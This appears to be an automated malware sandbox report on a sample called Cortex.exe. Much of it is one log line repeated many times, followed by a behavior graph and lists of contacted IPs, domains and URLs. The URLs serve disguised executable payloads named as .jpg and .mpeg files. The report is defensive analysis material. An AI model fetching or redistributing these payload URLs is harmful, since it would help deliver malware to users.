Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1520709 Sample: Cortex.exe Startdate: 27/09/2024 Architecture: WINDOWS Score: 60 33 s3-r-w.eu-north-1.amazonaws.com 2->33 35 s3.timeweb.com 2->35 37 albumdecolegial.s3.eu-north-1.amazonaws.com 2->37 47 Suricata IDS alerts for network traffic 2->47 49 AI detected suspicious sample 2->49 7 Cortex.exe 17 2->7         started        11 Shorts.exe 16 2->11         started        13 Shorts.exe 16 2->13         started        15 2 other processes 2->15 signatures3 process4 dnsIp5 39 s3-r-w.eu-north-1.amazonaws.com 16.12.9.22, 443, 49704, 49705 unknown United States 7->39 23 C:\Litiun\Shorts.exe, PE32+ 7->23 dropped 25 C:\LitiunBatt.exe, PE32+ 7->25 dropped 27 C:\Users\user\AppData\...\Boletim[1].jpg, PE32+ 7->27 dropped 29 C:\Users\user\AppData\Local\...\Aula[1].mpeg, PE32+ 7->29 dropped 17 Shorts.exe 1 19 7->17         started        21 EBatt.exe 1 7->21         started        41 s3.timeweb.com 92.53.116.138, 443, 49799, 49801 TIMEWEB-ASRU Russian Federation 11->41 file6 process7 dnsIp8 31 94.241.141.101, 49706, 49707, 49708 ATRINCOMMUNICATIONIR Iran (ISLAMIC Republic Of) 17->31 43 Creates multiple autostart registry keys 17->43 45 May use the Tor software to hide its network traffic 17->45 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
16.12.9.22
 s3-r-w.eu-north-1.amazonaws.com United States
unknown unknown true
92.53.116.138
 s3.timeweb.com Russian Federation
9123 TIMEWEB-ASRU false
94.241.141.101
 unknown Iran (ISLAMIC Republic Of)
39650 ATRINCOMMUNICATIONIR false

Contacted Domains

Name IP Active
s3.timeweb.com 92.53.116.138 true
s3-r-w.eu-north-1.amazonaws.com 16.12.9.22 true
albumdecolegial.s3.eu-north-1.amazonaws.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt false
    		unknown
    https://albumdecolegial.s3.eu-north-1.amazonaws.com/Aula.mpeg true
      		unknown
      https://albumdecolegial.s3.eu-north-1.amazonaws.com/Boletim.jpeg true
        		unknown